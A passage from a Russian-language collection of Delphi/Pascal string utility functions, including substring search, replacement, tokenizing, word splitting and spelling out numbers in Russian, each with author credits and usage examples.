    if (stt = ' ') and (c >= 1) then
    begin
      st1 := st1;
      c := c + 1;
    end
    else if (stt = ' ') and (c = 0) then
    begin
      c := c + 1;
      st1 := st1 + stt;
    end
    else if (stt <> ' ') then
    begin
      c := 0;
      st1 := st1 + stt;
    end
  end;
  edit2.text := st1;
end;

Подсчет количества вхождений символа в строке.

Автор: DiVo WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Подсчёт количества вхождений символа в строке
Функцийка считает количество повторений
символа заданного InputSubStr в строке InputStr.
Зависимости: Стандартные модули
Автор:       Ru, DiVo_Ru@rambler.ru, Одесса (Украина)
Copyright:   DiVo 2003 creator Ru
Дата:        18 ноября 2003 г.
***************************************************** }
function CntChRepet(InputStr: string; InputSubStr: char): integer;
var
  i: integer;
begin
  result := 0;
  for i := 1 to length(InputStr) do
    if InputStr[i] = InputSubStr then
      inc(result);
end;

Алгоритм поиска подстроки в строке.

Автор: ALex2 WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> алгоритм поиска подстроки в строке
Зависимости: SysUtils
Автор:       ALex2)
Copyright:   2)
Дата:        1 февраля 2003 г.
***************************************************** }
function BMSearch(StartPos: Integer; const S, P: string): Integer;
type
  TBMTable = array[0..255] of Integer;
var
  Pos, lp, i: Integer;
  BMT: TBMTable;
begin
  for i := 0 to 255 do
    BMT[i] := Length(P);
  for i := Length(P) downto 1 do
    if BMT[Byte(P[i])] = Length(P) then
      BMT[Byte(P[i])] := Length(P) - i;
  lp := Length(P);
  Pos := StartPos + lp - 1;
  while Pos <= Length(S) do
    if P[lp] <> S[Pos] then
      Pos := Pos + BMT[Byte(S[Pos])]
    else if lp = 1 then
    begin
      Result := Pos;
      Exit;
    end
    else
      for i := lp - 1 downto 1 do
        if P[i] <> S[Pos - lp + i] then
        begin
          Inc(Pos);
          Break;
        end
        else if i = 1 then
        begin
          Result := Pos - lp + 1;
          Exit;
        end;
  Result := 0;
end;
{
алгоритм Бойера-Мура
ф-ия возвращает первое вхождение подстроки в строку
работает быстро
}

Пример использования:

BMSearch(1, 'dsade', 'de')
// в данном примере ф-ия возвратит число 4
// 1 - это позиция с которой ищем подстроку в строке

Поиск N-ого вхождения подстроки в строку.

Автор: Panov WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Поиск N-ого вхождения подстроки в строку
Зависимости: SysUtils
Автор:       panov, panov@hotbox.ru, Екатеринбург
Copyright:   panov
Дата:        19 апреля 2002 г.
***************************************************** }
function SearchString(const FindStr, SourceString: string; Num: Integer):
  Integer;
var
  FirstSym: PChar; //Ссылка на первый символ
  function MyPos(const FindStr, SourceString: PChar; Num: Integer): PChar;
  begin
    Result := AnsiStrPos(SourceString, FindStr);
      //Поиск вхождения подстроки в строку
    if (Result = nil) then
      Exit; //Подстрока не найдена
    Inc(Result); //Смещаем указатель на следующий символ
    if Num = 1 then
      Exit; //Если нужно первое вхождение - заканчиваем
    if num > 1 then
      Result := MyPos(FindStr, Result, num - 1);
    //Рекурсивный поиск следующего вхождения
  end;
begin
  FirstSym := PChar(SourceString);
  //Присваиваем адрес первого символа исходной строки
  Result := MyPos(PChar(FindStr), PChar(SourceString), Num) - FirstSym;
  //Номер позиции в строке
  if Result < 0 then
    Result := 0; //Возвращаем номер позиции
end;

Пример использования:

var
  StrF, StrSrc: string;
  n: Integer;
begin
  ...
  StrF := 'стр';
  StrSrc := 'Поиск подстроки в строке';
  n := SearchString(StrF, StrSrc, 2); //n будет равна 19
end;

Нахождение последнего вхождения подстроки в строку.

Автор: Fenik WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Нахождение последнего вхождения подстроки в строку
Функция возвращает начало последнего вхождения
подстроки FindS в строку SrcS, т.е. первое с конца.
Если возвращает ноль, то подстрока не найдена.
Можно использовать в текстовых редакторах
при поиске текста вверх от курсора ввода.
Зависимости: System
Автор:       Fenik, chook_nu@uraltc.ru, Новоуральск
Copyright:   Автор: Федоровских Николай
Дата:        16 июня 2002 г.
***************************************************** }
function PosR2L(const FindS, SrcS: string): Integer;
{Функция возвращает начало последнего вхождения
 подстроки FindS в строку SrcS, т.е. первое с конца.
 Если возвращает ноль, то подстрока не найдена.
 Можно использовать в текстовых редакторах
 при поиске текста вверх от курсора ввода.}
  function InvertS(const S: string): string;
    {Инверсия строки S}
  var
    i, Len: Integer;
  begin
    Len := Length(S);
    SetLength(Result, Len);
    for i := 1 to Len do
      Result[i] := S[Len - i + 1];
  end;
var
  ps: Integer;
begin
  {Например: нужно найти последнее вхождение
   строки 'ро' в строке 'пирожок в коробке'.
   Инвертируем обе строки и получаем
     'ор' и 'екборок в кожорип',
   а затем ищем первое вхождение с помощью стандартной
   функции Pos(Substr, S: string): string;
   Если подстрока Substr есть в строке S, то
   эта функция возвращает позицию первого вхождения,
   а иначе возвращает ноль.}
  ps := Pos(InvertS(FindS), InvertS(SrcS));
  {Если подстрока найдена определяем её истинное положение
   в строке, иначе возвращаем ноль}
  if ps <> 0 then
    Result := Length(SrcS) - Length(FindS) - ps + 2
  else
    Result := 0;
end;

Пример использования:

p := PosR2L('са', 'Мой сапог догнал самолёт.'); // p:=18;

Получение N-го слова из строки.

Автор: Gua WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение N-го слова из строки
Зависимости: System
Автор:       Gua, fbsdd@ukr.net, ICQ:141585495, Simferopol
Copyright:   Gua
Дата:        02 мая 2002 г.
***************************************************** }
{
  Str: Строка
  Smb: Разгранечительный символ
  WordNmbr: Номер нужного сова
}
function GetWord(Str, Smb: string; WordNmbr: Byte): string;
var
  SWord: string;
  StrLen, N: Byte;
begin
  StrLen := SizeOf(Str);
  N := 1;
  while ((WordNmbr >= N) and (StrLen <> 0)) do
  begin
    StrLen := Pos(Smb, str);
    if StrLen <> 0 then
    begin
      SWord := Copy(Str, 1, StrLen - 1);
      Delete(Str, 1, StrLen);
      Inc(N);
    end
    else
      SWord := Str;
  end;
  if WordNmbr <= N then
    Result := SWord
  else
    Result := '';
end;

Пример использования:

GetWord('Здесь ваш текст',' ',3); // Возвращает -> 'текст'

Повтор строки заданное количество раз.

Автор: DiVo WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Повтор строки заданное количество раз
Input - строка для повторения
Rep - количество повторений
Строка на выходе это входная строка повторенная Rep раз.
Зависимости: Стандартные модули
Автор:       Ru, DiVo_Ru@rambler.ru, Одесса
Copyright:   DiVo 2002 creator Ru (по мотивам функции Str из Word Basic)
Дата:        18 ноября 2002 г.
***************************************************** }
function MulStr(Input: string; Rep: integer): string;
var
  i: integer;
begin
  for i := 0 to Rep - 1 do
    result := result + Input;
end;

Пример использования:

s1 := 'Привет';
s := MulStr(s1, 3);
// результат:
s := 'ПриветПриветПривет';

Замена в строке всех вхождений одной подстроки, на другую.

Автор: RhinoFC WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Замена в строке всех вхождений одной подстроки, на другую
Зависимости: -
Автор:       Евгений Валяев (RhinoFC), rhinofc@sniiggims.ru, ICQ:55263922, Новосибирск
Copyright:   RhinoFC
Дата:        5 июня 2002 г.
***************************************************** }
function StrReplace(const Str, Str1, Str2: string): string;
// str - исходная строка
// str1 - подстрока, подлежащая замене
// str2 - заменяющая строка
var
  P, L: Integer;
begin
  Result := str;
  L := Length(Str1);
  repeat
    P := Pos(Str1, Result); // ищем подстроку
    if P > 0 then
    begin
      Delete(Result, P, L); // удаляем ее
      Insert(Str2, Result, P); // вставляем новую
    end;
  until P = 0;
end;

Функция замены в строке всех вхождений одной подстроки на другую.

Автор: Матюшкин Сергей WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Функция замены в строке всех вхождений одной подстроки на другую
В отличие от других подобных функций, эта - не зависнет, если в строке нужно 
заменить не только одно слово совершенно другим,
но и допустим, слово "Штаны" на "-Штаны-"
(Т.е. начальное слово после замены остается, но к нему добавляется какой нибудь 
символ справа, или слева. В данном случае по краям слова добавлен знак минуса).
Я пересмотрел много примеров, и ни один из них не справился с этой задачей.
(Может я плохо искал?).
Зависимости: Windows, SysUtils
Автор:       Матюшкин Сергей, seregam@ua.fm, ICQ:162733776, Днепропетровск
Copyright:   Sergey_M
Дата:        26 мая 2003 г.
***************************************************** }
function Replace(Str, X, Y: string): string;
{Str - строка, в которой будет производиться замена.
 X - подстрока, которая должна быть заменена.
 Y - подстрока, на которую будет произведена заменена}
var
  buf1, buf2, buffer: string;
  i: Integer;
begin
  buf1 := '';
  buf2 := Str;
  Buffer := Str;
  while Pos(X, buf2) > 0 do
  begin
    buf2 := Copy(buf2, Pos(X, buf2), (Length(buf2) - Pos(X, buf2)) + 1);
    buf1 := Copy(Buffer, 1, Length(Buffer) - Length(buf2)) + Y;
    Delete(buf2, Pos(X, buf2), Length(X));
    Buffer := buf1 + buf2;
  end;
  Replace := Buffer;
end;

Пример использования:

procedure TForm1.Button1Click(Sender: TObject);
var
  a: Integer;
begin
  for a := 0 to Memo1.Lines.Count do
    Memo1.Lines[a] := Replace(Memo1.Lines[a], 'Штаны', '-Штаны-');
end;

Замена подстроки в строке.

function ReplaceStr(const S, Srch, Replace: string): string;
{замена подстроки в строке}
var
  I: Integer;
  Source: string;
begin
  Source := S;
  Result := '';
  repeat
    I := Pos(Srch, Source);
    if I &gt;
    0 then
    begin
      Result := Result + Copy(Source, 1, I - 1) + Replace;
      Source := Copy(Source, I + Length(Srch), MaxInt);
    end
    else
      Result := Result + Source;
  until I&lt;
  = 0;
end;

Сканирование строки начиная с указанной позиции с целью нахождения слова.

Автор: Алексей Вуколов WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Сканирование строки начиная с указанной позиции с целью нахождения слова.
Функция предназначена для разбиения строки на слова. Границы слов
определяются по разделителям.
Описание параметров:
S - строка, в которой производится поиск;
StartPos - на входе принимает позицию с которой начинается сканирование
строки, на выходе содержит позицию символа, с которого начинается слово;
WordLen - на выходе содержит длину найденного слова;
Delimiters - множество, содержащее символы-разделители слов;
Возвращаемое значение - true если слово найдено, инече false;
Зависимости: SysUtils
Автор:       vuk, vuk@fcenter.ru
Copyright:   Алексей Вуколов
Дата:        18 апреля 2002 г.
***************************************************** }
function WordScan(const S: string; var StartPos, WordLen: integer;
  Delimiters: TSysCharSet): boolean;
var
  i, l: integer;
begin
  Result := false;
  WordLen := 0;
  i := StartPos;
  l := length(s);
  StartPos := 0;
  while i <= l do
    if s[i] in Delimiters then
      inc(i)
    else
    begin
      StartPos := i;
      break;
    end;
  while i <= l do
    if not (s[i] in Delimiters) then
    begin
      inc(i);
      inc(WordLen);
    end
    else
      break;
  Result := WordLen <> 0;
end;

Пример использования:

//Консольная программа, выводящая на экран слова из заданной строки.
program Project1;
{$APPTYPE CONSOLE}
uses SysUtils;
var
  s: string;
  wStart, wLen: integer;
begin
  s := 'This is a test string. String contains delimiters.';
  wStart := 1;
  wLen := 0;
  while WordScan(s, wStart, wLen, [' ', '.', ',']) do
  begin
    writeln(copy(s, wStart, wLen));
    inc(wStart, wLen);
  end;
  readln;
end.

Поиск подстроки в строке с заданной позиции.

Автор: Romkin WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Поиск подстроки в строке с заданной позиции
S - строка, в которой искать
SubStr - образец
fromPos - с какой позиции
Все на асемблере, принцип простой - ищется первый символ, затем часть строки
сравнивается с образцом начиная с этого символа
Если образец не найден, возвращает 0
Если найден - номер первого символа вхождения
Зависимости: Нету их!
Автор:       Romkin, romkin@pochtamt.ru, Москва
Copyright:   Модернизированная функция из SysUtils
Дата:        18 июля 2002 г.
***************************************************** }
function TailPos(const S, SubStr: AnsiString; fromPos: integer): integer;
asm
        PUSH EDI
        PUSH ESI
        PUSH EBX
        PUSH EAX
        OR EAX,EAX
        JE @@2
        OR EDX,EDX
        JE @@2
        DEC ECX
        JS @@2
        MOV EBX,[EAX-4]
        SUB EBX,ECX
        JLE @@2
        SUB EBX,[EDX-4]
        JL @@2
        INC EBX
        ADD EAX,ECX
        MOV ECX,EBX
        MOV EBX,[EDX-4]
        DEC EBX
        MOV EDI,EAX
@@1: MOV ESI,EDX
        LODSB
        REPNE SCASB
        JNE @@2
        MOV EAX,ECX
        PUSH EDI
        MOV ECX,EBX
        REPE CMPSB
        POP EDI
        MOV ECX,EAX
        JNE @@1
        LEA EAX,[EDI-1]
        POP EDX
        SUB EAX,EDX
        INC EAX
        JMP @@3
@@2: POP EAX
        XOR EAX,EAX
@@3: POP EBX
        POP ESI
        POP EDI
end;

Поиск подстроки в строке с заданной позиции (стандартный вариант).

Автор: Romkin WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Поиск подстроки в строке с заданной позиции (стандартный вариант)
Вроде работает
Substr - подстрока, S - строка, fromPos - с какой позиции искать
Если вхождение не найдено, возвращает 0
Ограничения - как для ansiStrPos
Зависимости: SysUtils
Автор:       Romkin, romkin@pochtamt.ru, Москва
Copyright:   Romkin
Дата:        18 июля 2002 г.
***************************************************** }
function fAnsiPos(const Substr, S: string; FromPos: integer): Integer;
var
  P: PChar;
begin
  Result := 0;
  P := AnsiStrPos(PChar(S) + fromPos - 1, PChar(SubStr));
  if P <> nil then
    Result := Integer(P) - Integer(PChar(S)) + 1;
end;

Преобразование строки с разделителями в StringList.

Автор: Игорь Шевченко WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Преобразование строки с разделителями в StringList.
Преобразование строки с разделителями в StringList или наследник TStrings.
Навеяно одноименной процедурой из InfoPower :-)
Зависимости: Classes
Автор:       Игорь Шевченко, whitefranz@hotmail.com, Москва
Copyright:   Игорь Шевченко, Woll2Woll software (original)
Дата:        30 апреля 2002 г.
***************************************************** }
procedure StrBreakApart(const S, Delimeter: string; Parts: TStrings);
var
  CurPos: integer;
  CurStr: string;
begin
  Parts.clear;
  Parts.BeginUpdate();
  try
    CurStr := S;
    repeat
      CurPos := Pos(Delimeter, CurStr);
      if (CurPos > 0) then
      begin
        Parts.Add(Copy(CurStr, 1, Pred(CurPos)));
        CurStr := Copy(CurStr, CurPos + Length(Delimeter),
          Length(CurStr) - CurPos - Length(Delimeter) + 1);
      end
      else
        Parts.Add(CurStr);
    until CurPos = 0;
  finally
    Parts.EndUpdate();
  end;
end;

Пример использования:

var
  Tmp: StringList;
begin
  Tmp := TStringList.Create();
  StrBreakApart('Text1<BR>Text2<BR>Text3<BR>Text4', '<BR>', Tmp);
  // После вызова Tmp содержит
  // Text1
  // Text2
  // Text3
  // Text4
  ...
  Tmp.Free();
end;

Разбиение текста на слова и получение количества слов в тексте.

Автор: 777 WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Разбиение текста на слова + получение количества слов в тексте
T : Собственно строка, которая будет разбиваться на слова
Mode: Режим, может быть
0: получение английских и русских слов
1: только русских
2: только английских
List: Здесь хранятся найденые слова (по умолчанию = nil)
возвращаемое значение: количество слов.
P/S
По идейным соображениям специальные символы, цифры
и пробелы игнорируются.
Зависимости: Windows, Classes
Автор:       777, nix@rbcmail.ru, Архангельск
Copyright:   777
Дата:        15 июня 2002 г.
***************************************************** }
function StringToWords(T: string; Mode: Short; List: Tstrings = nil): integer;
var
  i, z: integer;
  s: string;
  c: Char;
  procedure Check;
  begin
    if (s > '') and (List <> nil) then
    begin
      List.Add(S);
      z := z + 1;
    end;
    s := '';
  end;
begin
  i := 0;
  z := 0;
  s := '';
  if t > '' then
  begin
    while i <= Length(t) + 1 do
    begin
      c := t[i];
      case Mode of
        0: {русские и английские слова}
          if (c in ['a'..'z']) or (c in ['A'..'Z']) or (c in ['а'..'я']) or
            (c in ['А'..'Я']) and (c <> ' ') then
            s := s + c
          else
            Check;
        1: {только русские слова}
          if (c in ['а'..'я']) or (c in ['А'..'Я']) and (c <> ' ') then
            s := s + c
          else
            Check;
        2: {только английские слова}
          if (c in ['a'..'z']) or (c in ['A'..'Z']) and (c <> ' ') then
            s := s + c
          else
            check;
      end;
      i := i + 1;
    end;
  end;
  result := z;
end;

Пример использования:

procedure TForm1.Button1Click(Sender: TObject);
var
  Source, Dest: Tstrings;
  i: integer;
begin
  Source := TstringList.Create;
  Dest := TstringList.Create;
  Source.LoadFromFile('c:\MyText.txt');
  for i := 0 to Source.Count - 1 do
  begin
    StringToWords(Source[i], 2, Dest);
    Application.ProcessMessages;
  end;
  Dest.SaveToFile('c:\MyWords.txt');
  ShowMessage('Найдено ' + IntToStr(Dest.Count) + ' слов');
end;

Разбивка строки на подстроки с использованием заданного разделителя.

Автор: Stoma WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Разбивка строки на подстроки с использованием заданного разделителя
Параметры: Str: WideString - Строка для разбивки
Delimiter: String - Разделитель подстрок с строке Str
Результат: TStringList: Список найденных подстрок
Зависимости: System, Sysutils, Classes
Автор:       Stoma, stoma@bitex.bg
Copyright:   Собственная разработка
Дата:        4 августа 2003 г.
***************************************************** }
function Tokenize(Str: WideString; Delimiter: string): TStringList;
var
  tmpStrList: TStringList;
  tmpString, tmpVal: WideString;
  DelimPos: LongInt;
begin
  tmpStrList := TStringList.Create;
  TmpString := Str;
  DelimPos := 1;
  while DelimPos > 0 do
  begin
    DelimPos := LastDelimiter(Delimiter, TmpString);
    tmpVal := Copy(TmpString, DelimPos + 1, Length(TmpString));
    if tmpVal <> '' then
      tmpStrList.Add(UpperCase(tmpVal));
    Delete(TmpString, DelimPos, Length(TmpString));
  end;
  Tokenize := tmpStrList;
end;

Пример использования:

function TForm1.GetDirNames(FullPath: string): TStringList;
begin
  GetDirNames := Tokenize(FullPath, '\');
end;

Заполнение списка словами из строки с возможностью указания множества разделителей.

Автор: VID WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Заполнение списка (TargetList) словами из строки (Text),
с возможностью укзания множества разделителей
Функция заполняет список TargetList, словами (наборами символов)
из строки Text. Имеется возможность получения позиции каждого
слова в строке (ReturnWordPlaces = True); добавления в TargetList
не только слов, но и разделителей (ReturnWordDeviders = True);
указания более чем одного разделителя (все в строке WordDeviders).
Ограничением является невозможность указания разделителя,
длинной более чем 1 символ.
Result = TargetList.Count; {количество строк в TargetList}
Зависимости: sysutils, classes, system
Автор: VID, vidsnap@mail.ru, ICQ: 132234868, Махачкала
Copyright: VID
Дата: 02 мая 2002 г.
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  * * * * * * * * * * * * }
function GetWordListFromText(Text, WordDeviders: string; TargetList: TStrings;
  ReturnWordPlace, ReturnWordDeviders: Boolean): Integer;
var
  X, TextLength, WP: Integer;
  W: string;
begin
  Result := 0;
  TextLength := Length(Text);
  if TextLength = 0 then
    Exit;
  if Length(WordDeviders) = 0 then
    Exit;
  if TargetList = nil then
    Exit;
  TargetList.BeginUpdate();
  TargetList.Clear;
  WordDeviders := AnsiUpperCase(WordDeviders);
  W := '';
  X := 0;
  WP := 1;
  repeat
    X := X + 1;
    if (POS(AnsiUpperCase(Text[x]), WordDeviders) = 0) and (X <= TextLength)
      then
      W := W + Text[x]
    else
    begin
      if W <> '' then
      begin
        case ReturnWordPlace of
          True: TargetList.Add(W + '=' + Inttostr(WP));
          False: TargetList.Add(W);
        end;
      end;
      W := '';
      WP := X + 1;
      if ReturnWordDeviders = true then
      begin
        case ReturnWordPlace of
          True: TargetList.Add(Text[x] + '=' + Inttostr(x));
          False: TargetList.Add(TEXT[x]);
        end;
      end;
    end;
  until (X > TextLength);
  TargetList.EndUpdate;
  Result := TargetList.Count;
end;

Деление строки не несколько строк, указанной длины.

Автор: Сергей WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Делит строку аStг на три строки St1,St2,St3 длиной Long1,Long2,Long3
Делит строку аStг на три строки St1,St2,St3 длиной Long1,Long2,Long3
соответственно или меньше в зависимости от длины исходной строки.
Зависимости: ???
Автор:       Сергей, nfkazak@inbox.ru, Краснодар
Copyright:   VIP BANK
Дата:        11 сентября 2002 г.
***************************************************** }
procedure DivPart(aStr: string; var St1, St2, St3: string; Long1, Long2, Long3:
  byte);
var
  i, pos, Long: byte;
begin
  St1 := '';
  St2 := '';
  St3 := '';
  aStr := Trim(aStr);
  Long := Length(aStr);
  if Long <= Long1 then
  begin
    St1 := aStr;
    Exit
  end;
  Pos := Long1;
  for i := 1 to Long1 + 1 do
    if aStr[i] = ' ' then
      Pos := i;
  St1 := TrimRight(Copy(aStr, 1, Pos));
  Delete(aStr, 1, Pos);
  aStr := TrimLeft(aStr);
  Long := Length(aStr);
  if Long <= Long2 then
  begin
    St2 := aStr;
    Exit
  end;
  Pos := Long2;
  for i := 1 to Long2 + 1 do
    if aStr[i] = ' ' then
      Pos := i;
  St2 := TrimRight(Copy(aStr, 1, Pos));
  St3 := Trim(Copy(aStr, Pos + 1, Long3))
end;

Сумма прописью - Способ 14.

Автор: Алексей WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Преобразование целого числа 0-999999999 в строку (прописью)
Я думаю, всё итак понятно, что не понятно пишите письма
Зависимости: SysUtils
Автор:       Алексей, ARojkov@okil.ru, СПб
Copyright:   b0b
Дата:        12 марта 2004 г.
***************************************************** }
unit UIntToStroka;
interface
uses SysUtils;
const
  N1: array[0..9] of string = ('ноль',
    'один',
    'два',
    'три',
    'четыре',
    'пять',
    'шесть',
    'семь',
    'восемь',
    'девять');
const
  N1000: array[1..9] of string = ('одна',
    'две',
    'три',
    'четыре',
    'пять',
    'шесть',
    'семь',
    'восемь',
    'девять');
const
  N11: array[0..9] of string = ('десять',
    'одиннадцать',
    'двенадцать',
    'тринадцать',
    'четырнадцать',
    'пятнадцать',
    'шестнадцать',
    'семнадцать',
    'восемнадцать',
    'девятнадцать');
const
  N2: array[1..9] of string = ('десять',
    'двадцать',
    'тридцать',
    'сорок',
    'пятьдесят',
    'шестьдесят',
    'семьдесят',
    'восемьдесят',
    'девяносто'
    );
const
  N3: array[1..9] of string = ('сто',
    'двести',
    'триста',
    'четыреста',
    'пятьсот',
    'шестьсот',
    'семьсот',
    'восемьсот',
    'девятьсот'
    );
const
  NThousand: array[1..3] of string = ('тысяча ',
    'тысячи ',
    'тысяч ');
const
  NMillion: array[1..3] of string = ('миллион ',
    'миллиона ',
    'миллионов ');
function IntToStroka(n: Integer): AnsiString;
implementation
function IntToStroka(n: Integer): AnsiString;
var
  i, j, dec, j0: Integer;
  s: string;
  degt, degm: boolean;
  buf: string;
begin
  degt := false;
  degm := false;
  s := IntToStr(n);
  Result := '';
  for i := length(s) downto 1 do
  begin
    dec := (length(s) - i + 1); // получим разряд
    j := StrToInt(s[i]); // получим цифру
    if j = 0 then
      j0 := 0;
    if (not (j in [1..9])) and (dec <> 1) then
      Continue;
    if Dec in [1, 4, 7, 10] then
    try
      if StrToInt(s[i - 1]) = 1 then
      begin
        j0 := j;
        Continue;
      end; // подготовка к 10..19 тысяч/миллионов
    except
    end;
    if Dec in [2, 5, 8, 11] then
      if j = 1 then
      begin
        case dec of
          2: Result := N11[j0] + ' '; // если 10..19 тысяч/миллионов
          5:
            begin
              Result := N11[j0] + ' ' + NThousand[3] + Result;
              degt := true;
            end;
          8:
            begin
              Result := N11[j0] + ' ' + NMillion[3] + Result;
              degm := true;
            end;
        end;
        Continue;
      end;
    if DEC in [4..6] then
    begin
      if (j <> 0) and (not degt) then
      begin
        if dec = 4 then
          case j of
            1: buf := NThousand[1];
            2..4: buf := NThousand[2];
              // прибавим слово тысяча если ещё не добавляли
            5..9: buf := NThousand[3];
          end
        else
          buf := NThousand[3];
        degt := true;
      end;
    end;
    if DEC in [7..9] then
    begin
      if (j <> 0) and (not degm) then
      begin
        if dec = 7 then
          case j of
            1: buf := NMillion[1];
            2..4: buf := NMillion[2];
              // прибавим слово миллион если ещё не добавляли
            5..9: buf := NMillion[3];
          end
        else
          buf := NMillion[3];
        degm := true;
      end;
    end;
    Result := buf + Result;
    while dec > 3 do
      dec := dec - 3;
    case Dec of
      1: if j <> 0 then
          if degt and (not degm) then
            Result := N1000[j] + ' ' + Result
          else
            Result := N1[j] + ' ' + Result; // 3 три
      2: Result := N2[j] + ' ' + Result; // 23 двадцать три
      3: Result := N3[j] + ' ' + Result; // 123 сто двадцать три
    end;
    Buf := '';
    j0 := j;
  end;
end;
end.

Сумма прописью - Способ 15.

Автор: Евгений Меньшенин WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Сумма прописью
Данный набор функций позволяет из суммы в числовом виде получить
её представление прописью. Реализована возможность работы с рублями и долларами.
Возможно добавление какой угодно валюты.
Зависимости: SysUtils
Автор:       fnatali, fnatali@yandex.ru, Березники
Copyright:   Евгений Меньшенин <johnmen@mail.ru>
Дата:        27 апреля 2002 г.
***************************************************** }
unit SpellingD;
interface
uses SysUtils;
function SpellPic(StDbl: double; StSet: integer): string;
implementation
const
  Money: array[0..1] of string[25] =
  ('ь я рубл ей коп. ',
    'р ра долларов цент.');
  {А Б В Г Д Е Ж З И Й К Л М Н О
        П Р С Т У Ф Х Ц Ч Ш Щ Ъ Ы Ь
        Э Ю Я а б в г д }
  Sym: string[180] =
  'одна две один два три четыре пят ь шест сем восемдевятдесят'
    + 'на дцатьсорокдевяно сто сти ста ьсот тысяча и миллион '
    + 'ов ард ноль ь я рубл ей коп. ';
  Code: string[156] =
  'БААВААГААДААЕААЖЗАИЙАКЙАЛЙАМЙАНЙАОЙАГПРВПРЕПРЖПРИПРКПРЛПРМПРНПРДРАЕРА'
    +
    'СААИЙОКЙОЛЙОМЙОТУФФААВХАЕЦАЖЗЦИЧАКЧАЛЧАМЧАНЧАваАвбАвгАШЩАШЪАШААЫЬАЫЬЩ'
    + 'ЫЬЭЫЮАЫЮЩЫЮЭЯААдАА';
  {1 2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 30
   40 50 60 70 80 90 1 2 3 4 5 6 7 8 9 РУБ -Я-ЕЙТЫС -И -ЧМ-Н-А
    -ВМ-Д -А -ВО коп}
  {0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
   23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
   46 47 48 49 50 51 }
function SpellPic(StDbl: double; StSet: integer): string;
{format of StNum: string[15]= 000000000000.00}
const
  StMask = '000000000000.00';
var
  StNum: string; {StDbl -> StNum}
  PlaceNo: integer; {текущая позиция в StNum}
  TripletNo: integer; {позиция имени обрабатываемого разряда (им.п.ед.ч.)}
  StWord: string; {результат}
  procedure WordAdd(CodeNo: integer);
  var
    SymNo: integer; {текущая позиция в массиве Sym}
    i, j: integer;
  begin
    ;
    Inc(CodeNo, CodeNo shl 1); {* 3}
    for i := 1 to 3 do
    begin
      ;
      Inc(CodeNo);
      SymNo := ord(Code[CodeNo]) - ord('Б');
      if SymNo < 0 then
        break;
      Inc(SymNo, SymNo shl 2); {* 5}
      for j := 1 to 5 do
      begin
        ;
        Inc(SymNo);
        if Sym[SymNo] = ' ' then
          break;
        StWord := StWord + Sym[SymNo];
      end;
    end;
    StWord := StWord + ' ';
  end;
  procedure Triplet;
  var
    D3: integer; {сотни текущего разряда}
    D2: integer; {десятки текущего разряда}
    D1: integer; {единицы текущего разряда}
    TripletPos: integer; {смещение имени разряда для разных падежей}
  begin
    ;
    Inc(PlaceNo);
    D3 := ord(StNum[PlaceNo]) - ord('0');
    Inc(PlaceNo);
    D2 := ord(StNum[PlaceNo]) - ord('0');
    Inc(PlaceNo);
    D1 := ord(StNum[PlaceNo]) - ord('0');
    Dec(TripletNo, 3);
    TripletPos := 2; {рублей (род.п.мн.ч.)}
    if D3 > 0 then
      WordAdd(D3 + 28);
    {сотни}
    if D2 = 1 then
      WordAdd(D1 + 11)
        {10-19}
    else
    begin
      ;
      if D2 > 1 then
        WordAdd(D2 + 19);
      {десятки}
      if D1 > 0 then
      begin
        ;
        {единицы}
        if (TripletNo = 41) and (D1 < 3) then
          WordAdd(D1 - 1) {одна или две тысячи}
        else
          WordAdd(D1 + 1);
        if D1 < 5 then
          TripletPos := 1; {рубля (род.п.ед.ч.)}
        if D1 = 1 then
          TripletPos := 0; {рубль (им.п.ед.ч.)}
      end;
    end;
    if (TripletNo = 38) and (Length(StWord) = 0) then
      WordAdd(50); {ноль целых}
    if (TripletNo = 38) or (D1 + D2 + D3 > 0) then {имя разряда}
      WordAdd(TripletNo + TripletPos);
  end;
var
  i: integer;
begin
  ;
  Move(Money[StSet, 1], Sym[156], 25);
  StNum := FormatFloat(StMask, StDbl);
  PlaceNo := 0;
  TripletNo := 50;
  {47+3}
  StWord := ''; {будущий результат}
  for i := 1 to 4 do
    Triplet; {4 разряда: миллиарды, миллионы, тысячи,единицы}
  StWord := StWord + StNum[14] + StNum[15] + ' ';
  WordAdd(51);
  {Upcase первая буква}
  SpellPic := AnsiUpperCase(StWord[1]) + Copy(StWord, 2, Length(StWord) - 2);
end;
end.

Пример использования:

var
  sumpr: string;
begin
  // первый параметр - сумма, которую необходимо перевести в пропись,
  // второй параметр - валюта (0-рубли, 1- доллары).
  sumpr := spellpic(100, 0);
  ...

Расщепление строки с разделителями на массив строк.

Автор: ALL.exe WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
